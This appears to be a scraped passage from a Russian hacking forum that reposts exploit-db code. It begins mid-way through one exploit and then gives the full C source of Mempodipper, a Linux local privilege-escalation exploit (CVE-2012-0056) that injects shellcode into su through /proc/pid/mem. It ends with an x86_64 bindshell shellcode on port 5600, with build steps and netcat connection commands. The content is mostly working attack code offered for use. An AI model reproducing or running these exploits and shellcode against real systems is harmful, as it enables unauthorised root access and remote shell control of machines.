sockaddr_in); switch(pid = fork()) { case 0: sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size); sleep(3); default: sd2 = socket(AF_INET, SOCK_STREAM, 0); connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr)); sleep(3); } } printf("[ System is patched, no dreams for this prince\n"); return 0; } http://www.exploit-db.com/exploits/16263/
Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit Код: Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit # Date: Jan 21, 2012 # Author: zx2c4 # Tested on: Gentoo, Ubuntu # Platform: Linux # Category: Local # CVE-2012-0056 /* * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> char *socket_path = "/tmp/.sockpuppet"; int send_fd(int fd) { char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; int n; int sock; char cms[CMSG_SPACE(sizeof(int))]; if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0; } int recv_fd() { int listener; int sock; int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; char cms[CMSG_SPACE(sizeof(int))]; if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); unlink(socket_path); if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; if (listen(listener, 1) < 0) return -1; if ((sock = accept(listener, NULL, NULL)) < 0) return -1; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); close(listener); return fd; } int main(int argc, char **argv) { if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { char parent_mem[256]; sprintf(parent_mem, "/proc/%s/mem", argv[2]); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(fd); return 0; } printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); int parent_pid = getpid(); if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return -1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 6); dup2(fd, 2); unsigned long address; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') address = strtoul(argv[2], NULL, 16); else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); pclose(command); address = strtoul(result, NULL, 16); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); return 1; } printf("[+] Resolved exit@plt to 0x%lx.\n", address); } printf("[+] Calculating su padding.\n"); FILE *command = popen("su this-user-does-not-exist 2>&1", "r"); char result[256]; result[0] = 0; fgets(result, 256, command); pclose(command); unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); unsigned long offset = address - su_padding; printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char pid[32]; sprintf(pid, "%d", parent_pid); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", argv[0], "-c", pid, NULL); } } Тема с новостью и обсуждениями: http://www.xaker.name/forvb/showthread.php?t=24803 источник: exploit-db.com
Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes Код: /* --------------------------------------------------------------------------------------------------- Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ] Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih Shaantih Shaantih | --------------------------------------------------------------------------------------------------- Disassembly of section .text: 0000000000400080 <.text>: 400080: 99 cdq 400081: 6a 29 push 0x29 400083: 58 pop rax 400084: 6a 01 push 0x1 400086: 5e pop rsi 400087: 6a 02 push 0x2 400089: 5f pop rdi 40008a: 0f 05 syscall 40008c: 48 97 xchg rdi,rax 40008e: 6a 02 push 0x2 400090: 66 c7 44 24 02 15 e0 mov WORD PTR [rsp+0x2],0xe015 400097: 54 push rsp 400098: 5e pop rsi 400099: 52 push rdx 40009a: 6a 10 push 0x10 40009c: 5a pop rdx 40009d: 6a 31 push 0x31 40009f: 58 pop rax 4000a0: 0f 05 syscall 4000a2: 50 push rax 4000a3: 5e pop rsi 4000a4: 6a 32 push 0x32 4000a6: 58 pop rax 4000a7: 0f 05 syscall 4000a9: 6a 2b push 0x2b 4000ab: 58 pop rax 4000ac: 0f 05 syscall 4000ae: 48 97 xchg rdi,rax 4000b0: 6a 03 push 0x3 4000b2: 5e pop rsi 4000b3: 48 ff ce dec rsi 4000b6: 6a 21 push 0x21 4000b8: 58 pop rax 4000b9: 0f 05 syscall 4000bb: 75 f6 jne 0x4000b3 4000bd: 99 cdq 4000be: 52 push rdx 4000bf: 48 b9 2f 62 69 6e 2f movabs rcx,0x68732f2f6e69622f 4000c6: 2f 73 68 4000c9: 51 push rcx 4000ca: 54 push rsp 4000cb: 5f pop rdi 4000cc: 6a 3b push 0x3b 4000ce: 58 pop rax 4000cf: 0f 05 syscall --------------------------------------------------------------------------------------------------- How To Run $ gcc -o bind_shell bind_shell.c $ execstack -s sh_shell $ ./sh_shell How to Connect $ nc <HOST IP ADDRESS> 5600 Eg: $ nc 127.0.0.1 5600 --------------------------------------------------------------------------------------------------- */ #include <stdio.h> char sh[]="\x99\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x99\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\x6a\x3b\x58\x0f\x05"; void main(int argc, char **argv) { int (*func)(); func = (int (*)()) sh; (int)(*func)(); } Код: [/SIZE]